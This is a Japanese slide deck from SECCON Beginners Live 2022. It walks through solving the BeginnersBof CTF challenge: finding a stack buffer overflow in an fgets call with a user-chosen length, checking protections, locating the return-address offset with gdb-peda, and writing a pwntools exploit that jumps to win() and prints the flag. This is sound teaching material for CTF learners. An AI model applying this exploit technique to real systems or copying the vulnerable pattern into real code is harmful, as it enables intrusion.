Slide 1

Slide 1 text

Beginners Beginners Bof SECCON Beginners Live 2022 Reo Shiseki

Slide 2

Slide 2 text

自己紹介 ● 紫関 麗王(Shiseki Reo) ● ID: n01e0 ● 情報科学専門学校 4年 IPFactory ● ctf4b 2022での作問 ○ BeginnersBof 155 Solves ○ raindrop 53 Solves ○ snowdrop 44 Solves ○ simplelist 32 Solves ○ please_not_debug_me 48 Solves ○ ultra_super_miracle_validator 40 Solves

Slide 3

Slide 3 text

想定読者 ● Pwnableの勉強を始めたが,本番で問題が解け ない ● 主な担当はReversingだが,チームにPwnable担 当がいないので解かざるを得ない

Slide 4

Slide 4 text

Pwnable問題の典型的なパターンと解 法を学び テンプレとして覚えてほしい

Slide 5

Slide 5 text

題材 SECCON Beginners CTF 2022 BeginnersBof

Slide 6

Slide 6 text

問題のセットアップ $ git clone https://github.com/SECCON/Beginners_CTF_2022 $ cd Beginners_CTF_2022/pwnable/BeginnersBof $ docker-compose up -d $ nc localhost 9000 How long your name?

Slide 7

Slide 7 text

Pwnable攻略の思考フロー 1. ソースコードを読み,(配布されている場合) 攻撃に転用できそうな脆弱性を探す 2. 具体的な攻撃方法を考える 3. ペイロードの組み立て 4. Flagを取得する

Slide 8

Slide 8 text

脆弱性を探す

Slide 9

Slide 9 text

ソースコード(抜粋&コメント追加) #define BUFSIZE 0x10 void win() { // この関数を呼び出せばFlagが取得できる char buf[0x100]; int fd = open("flag.txt", O_RDONLY); if (fd == -1) err(1, "Flag file not found...\n"); write(1, buf, read(fd, buf, sizeof(buf))); close(fd); } int main() { int len = 0; char buf[BUFSIZE] = {0}; // BUFSIZEは0x10 puts("How long is your name?"); scanf("%d", &len); // バッファに読み込むデータの長さを入力 char c = getc(stdin); // 入力末尾の改行 if (c != '\n') ungetc(c, stdin); puts("What's your name?"); fgets(buf, len, stdin); // 指定された長さ分バッファに読み込む printf("Hello %s", buf); }

Slide 10

Slide 10 text

Pwnableで使用される代表的な脆弱性 ● Stack Buffer Overflow ● Heap Overflow ● Format String Attack ● Use After Free ● etc…

Slide 11

Slide 11 text

Pwnableで使用される代表的な脆弱性 ● Stack Buffer Overflow ←今回はこれがある ● Heap Overflow ● Format String Attack ● Use After Free ● etc…

Slide 12

Slide 12 text

Stack Buffer Overflow(CWE-121) スタック上に確保された領域に サイズよりも大きなデータを読み込む

Slide 13

Slide 13 text

Stack Buffer Overflowが発生する状況 スタック上に確保したバッファに データを書き込む時

Slide 14

Slide 14 text

gets gets関数は読み込むサイズの指定ができないので,基 本的にStack Buffer Overflowが発生します. その為,getsを使用していた場合はコンパイラの警告が 発生する程です. CTFの作問以外では使わないでください. これがあったら基本的にBuffer Overflowで攻撃!

Slide 15

Slide 15 text

scanf scanf関数でもStack Buffer Overflowは 発生する可能性があります. 例えば,char s[10]のように確保した領域に対して ,scanf(“%s”, s)のような呼び出しをした場合,scanfは改 行までのデータをsに書き込んでしまいます.

Slide 16

Slide 16 text

fgets getsとは異なり,読み込むサイズを指定できます. しかし,そのサイズを任意の値にできるような状況では Stack Buffer Overflowが発生してしまいます. →今回はそのパターン

Slide 17

Slide 17 text

ソースコード(重要な部分だけ抜粋) #define BUFSIZE 0x10 int main() { int len = 0; char buf[BUFSIZE] = {0}; // BUFSIZEは0x10 puts("How long is your name?"); scanf("%d", &len); // 0x10より大きなサイズを入力 char c = getc(stdin); if (c != '\n') ungetc(c, stdin); puts("What's your name?"); fgets(buf, len, stdin); // 確保されたサイズより大きなデータを読み込む🔥 printf("Hello %s", buf); }

Slide 18

Slide 18 text

セキュリティ機構の確認 バイナリには脆弱性の悪用を防ぐための セキュリティ機構が備わっている

Slide 19

Slide 19 text

バイナリのセキュリティ機構 ● RELRO ● Stack Canary ● NX ● PIE

Slide 20

Slide 20 text

RELRO RELocation Read Only メモリ上のデータに対して Read Only(書き込み不可)の属性を 付与するかどうか

Slide 21

Slide 21 text

RELROが有効だと? GOT Overwriteができない

Slide 22

Slide 22 text

GOT Overwriteとは? RELROが無効,もしくはPartialで, 任意のアドレスに任意の値が書き込める 場合によく使われる攻撃手法

Slide 23

Slide 23 text

GOT Overwrite 本題から逸れる為,詳しい説明はしません GOT(Global Offset Table)とは,libcなどのリンクされたバイナリにある 関数のアドレス用のキャッシュのような領域で,基本的にprintf等 の呼び出しはGOTのアドレスに遷移しています. この特性を利用し,GOTにあるアドレスを,本来のlibcのアドレスか ら遷移させたいアドレスに変更することで,次回の呼び出し時,任 意のアドレスへ遷移します.

Slide 24

Slide 24 text

Stack Canary(Stack Smashing Protection) Stack Overflowに対するセキュリティ機構 関数が呼ばれた際, スタック上にカナリア(canary)と呼ばれる値を置き,関数 から戻る直前に,その値が書き換わっていないかを確認 する事で,Stack Overflowを検知する

Slide 25

Slide 25 text

Stack Canary(Stack Smashing Protection)が有効だと? Stack Buffer Overflowによる リターンアドレスの書き換えが できない(やりづらい)

Slide 26

Slide 26 text

Stack Canary(Stack Smashing Protection)が有効だと Canaryはリターンアドレスよりも手前にあるため,愚直に リターンアドレスを書き換えようとすると 破壊されてしまう. ほかの脆弱性を使ってCanaryをリークできれば, 復元しながらリターンアドレスだけを書き換える事もでき る.

Slide 27

Slide 27 text

NX(No Execute bit) NX(No eXecute)はメモリ上の データ領域に置かれた値を実行できなくする為の フラグ

Slide 28

Slide 28 text

NXが有効だと? スタック等にシェルコードを書き込み, 遷移させるような攻撃ができなくなる

Slide 29

Slide 29 text

PIE(Position Independent Executable) PIE(Position Independent Executable) バイナリ中のアドレス参照を すべて相対アドレスで行うフラグ

Slide 30

Slide 30 text

PIEが有効だと? バイナリ中のシンボルのアドレスと, 実際に実行されているアドレスが異なる為,ベー スとなるアドレスをリークしてから でないとシンボルの位置を特定できない.

Slide 31

Slide 31 text

セキュリティ機構の確認 checksecというプログラムを使う https://github.com/slimm609/checksec.sh

Slide 32

Slide 32 text

checksecによるセキュリティ機構の確認 $ checksec –file=chall –output=json | jq { "file": { "relro": "no", "canary": "no", "nx": "yes", "pie": "no", "rpath": "no", "runpath": "no", "symbols": "yes", "fortify_source": "no", "fortified": "0", "fortify-able": "3" } }

Slide 33

Slide 33 text

脆弱性とセキュリティ機構の確認 ● Stack Buffer Overflowがある ● RELROが無効 ● Canaryが無効 ● PIEが無効

Slide 34

Slide 34 text

脆弱性とセキュリティ機構の確認 ● Stack Buffer Overflowがある ● RELROが無効 ● Canaryが無効 ● PIEが無効 ● NXが無効

Slide 35

Slide 35 text

これらの条件から何ができるか スタック上にある リターンアドレスの書き換え

Slide 36

Slide 36 text

何ができるか スタック上にある リターンアドレスの書き換え → win関数を呼び出してFlagを取得できる

Slide 37

Slide 37 text

具体的な攻撃方法を考える

Slide 38

Slide 38 text

Stack Buffer Overflowの攻撃への転用 今回はリターンアドレスを上書きして win関数を呼び出したい

Slide 39

Slide 39 text

リターンアドレスの上書き リターンアドレスはどこにある?

Slide 40

Slide 40 text

リターンアドレスへのオフセットを知る いくつかの方法がある ● ツールによるdisassemble結果を見る ● デバッガで探る

Slide 41

Slide 41 text

リターンアドレスへのオフセットを知る いくつかの方法がある ● ツールによるdisassemble結果を見る ● デバッガで探る

Slide 42

Slide 42 text

gdb-peda gdb(デバッガ)の拡張 https://github.com/longld/peda デバッグ/Pwnに便利な機能が追加されている ● わかりやすいレジスタ/コード/スタックの表示 ● etc…

Slide 43

Slide 43 text

インストール $ git clone https://github.com/longld/peda.git ~/peda $ echo “source ~/peda/peda.py >> ~/.gdbinit

Slide 44

Slide 44 text

pedaによる解析(メイン画面) main関数にbreakpointを設置 実行した結果 gdb-peda$ b *main gdb-peda$ run

Slide 45

Slide 45 text

pedaによる解析(disassemble) main関数のdisassemble結果 BOFが発生するのは 0x00000000004012f2の call 0x401090 gdb-peda$ disas main

Slide 46

Slide 46 text

pedaによる解析(BOFの確認) 1. sizeは適当に51で指定 2. ‘a’を50個+改行 入力した結果 gdb-peda$ c Continuing. How long is your name? 51 What's your name? aaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaa

Slide 47

Slide 47 text

pedaによる解析(BOFの確認) SIGSEGVによる停止

Slide 48

Slide 48 text

pedaによる解析(リターンアドレスの確認) mainが呼び出された時の stack topがリターンアドレス 0x7fffffffce98 --> 0x7ffff7d8fd90

Slide 49

Slide 49 text

pedaによる解析(リターンアドレスの確認) SEGVが発生した時点では? “aaaaaaaa”に書き換わっている リターンアドレスまでの オフセットは?

Slide 50

Slide 50 text

pedaによる解析(オフセットの特定) pattern_createコマンド オフセットの特定に便利 指定した長さの 文字列を作り出してくれる gdb-peda$ pattern_create 50

Slide 51

Slide 51 text

pedaによる解析(オフセットの特定) pattoコマンドで オフセットを確認できる RSPの”AA0AAFAAbA” へのオフセットは40bytes gdb-peda$ r gdb-peda$ c Continuing. How long is your name? 51 What's your name? AAA%AAsAABAA$AAnAACAA-AA(A ADAA;AA)AAEAAaAA0AAFAAbA gdb-peda$ patto AA0AAFAAbA AA0AAFAAbA found at offset: 40

Slide 52

Slide 52 text

具体的な攻撃方法

Slide 53

Slide 53 text

攻撃方法 リターンアドレスは入力の先頭から 40bytes先にある ↓ 40bytesのデータ+遷移させたいアドレス を入力すれば良い

Slide 54

Slide 54 text

Exploitの組み立て

Slide 55

Slide 55 text

Exploitの組み立て 脆弱な部分はわかった リターンアドレスまでのオフセットもわかった 具体的な攻撃方法もわかった あとはやるだけ → 退屈なことはPythonにやらせる

Slide 56

Slide 56 text

pwntools

Slide 57

Slide 57 text

pwntools exploitの作成に便利なPythonのライブラリ (https://github.com/Gallopsled/pwntools) ● リモートで動いているプログラムへの接続 ● バイナリの解析 ● etc… 非常に多機能(使い切れないくらい) 参考: https://qiita.com/8ayac/items/12a3523394080e56ad5a

Slide 58

Slide 58 text

install $ python3 -m pip install -upgrade pwntools

Slide 59

Slide 59 text

今回使う機能 ● バイナリの解析 ● リモートへの接続 ● データのpack ● データの入出力

Slide 60

Slide 60 text

バイナリの解析 ELFを解析してくれる関数 バイナリ中の関数のアドレス等が 取得できるようになる context.binaryに対象のバイナリを 指定する事で,今後のpack等を いい感じにしてくれる from pwn import * e = ELF("./chall") context.binary = "./chall"

Slide 61

Slide 61 text

データのpack 実際に送信するpayloadを作成する 40bytesの適当なデータと 遷移させたいwin関数のアドレス e.sym[]で解析したバイナリの シンボルを取得し pack()でいい感じにバイト列にする from pwn import * e = ELF("./chall") context.binary = "./chall" payload = b'a' * 40 payload += pack(e.sym["win"])

Slide 62

Slide 62 text

リモートへの接続 pwnの問題はリモートで動いている プログラムに接続する事がほとんど remoteで接続先を指定する事で, 全部いい感じにしてくれる 戻り値は今後の入出力に使用する from pwn import * e = ELF("./chall") context.binary = "./chall" payload = b'a' * 40 payload += pack(e.sym["win"]) io = remote("localhost", 9000)

Slide 63

Slide 63 text

データの入出力 sendlineafterは 第1引数に指定したバイト列を受け取った後 第2引数のバイト列を改行と共に 送信するメソッド 今回はpayloadの長さを文字列にした後, バイト列に変換して送信する from pwn import * e = ELF("./chall") context.binary = "./chall" payload = b'a' * 40 payload += pack(e.sym["win"]) io = remote("localhost", 9000) io.sendlineafter( b"How long is your name?", str(len(payload)).encode() )

Slide 64

Slide 64 text

flagの取得 改行はいらないのでsendafterで 送信後はflagが出力されるはずなので いい感じに受け取ってprintする from pwn import * e = ELF("./chall") context.binary = "./chall" payload = b'a' * 40 payload += pack(e.sym["win"]) io = remote("localhost", 9000) io.sendlineafter(b"How long is your name?", str(len(payload)).encode()) io.sendafter( b"What's your name?", payload ) io.recvuntil(b"ctf4b{") print( "ctf4b{" + io.readline().decode(), end='' )

Slide 65

Slide 65 text

Exploit! $ ls chall exploit.py $ python3 ./exploit.py [*] '/home/lilium/src/github.com/SECCON/Beginners_CTF_2022/pwnable/BeginnersBof/exploit/chall' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to localhost on port 9000: Done ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!} [*] Closed connection to localhost port 9000

Slide 66

Slide 66 text

以上! ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}

Slide 67

Slide 67 text

問題の停止 $ docker-compose down

Slide 68

Slide 68 text

確認 ➔ 脆弱性の調査 ➔ Stack Buffer Overflowがあり,canaryが無効 ➔ リターンアドレスへのオフセットを調査 ➔ padding+遷移させたいアドレスを送信 ➔ Flag Get?